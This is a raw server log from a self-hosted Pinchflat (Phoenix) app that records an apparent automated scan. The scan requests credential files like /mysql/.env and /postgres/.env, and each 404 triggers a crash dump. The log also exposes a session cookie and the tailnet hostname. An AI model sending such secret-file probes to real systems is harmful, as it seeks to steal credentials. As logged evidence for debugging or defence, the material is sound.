{Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/buildkite/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 193, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3497.0>, params: %{}, path_info: ["buildkite", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/buildkite/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk67LgCNoLVLYAATAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/buildkite/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 193, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /buildkite/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/buildkite/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 193, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:22.119 [info] GET /mysql/.env 02:10:22.119 [debug] QUERY OK source="settings" db=0.3ms idle=162.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.120 [debug] QUERY OK source="settings" db=0.2ms idle=123.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.120 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.120 [error] #PID<0.3498.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 194) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mysql/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mysql/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mysql/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 194, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3498.0>, params: %{}, path_info: ["mysql", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mysql/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk67ZyroKVbQsAATBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mysql/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 194, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mysql/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mysql/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 194, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:22.180 [info] GET /postgres/.env 02:10:22.181 [debug] QUERY OK source="settings" db=0.3ms idle=184.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.182 [debug] QUERY OK source="settings" db=0.2ms idle=122.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.182 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.182 [error] #PID<0.3499.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 195) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /postgres/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /postgres/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/postgres/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 195, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3499.0>, params: %{}, path_info: ["postgres", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/postgres/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk67obqKRFMF4AATCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/postgres/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 195, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /postgres/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/postgres/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 195, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:22.244 [info] GET /mongodb/.env 02:10:22.245 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=184.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.245 [debug] QUERY OK source="settings" db=0.1ms idle=125.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.246 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.246 [error] #PID<0.3500.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 196) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mongodb/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mongodb/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mongodb/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 196, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3500.0>, params: %{}, path_info: ["mongodb", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mongodb/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", 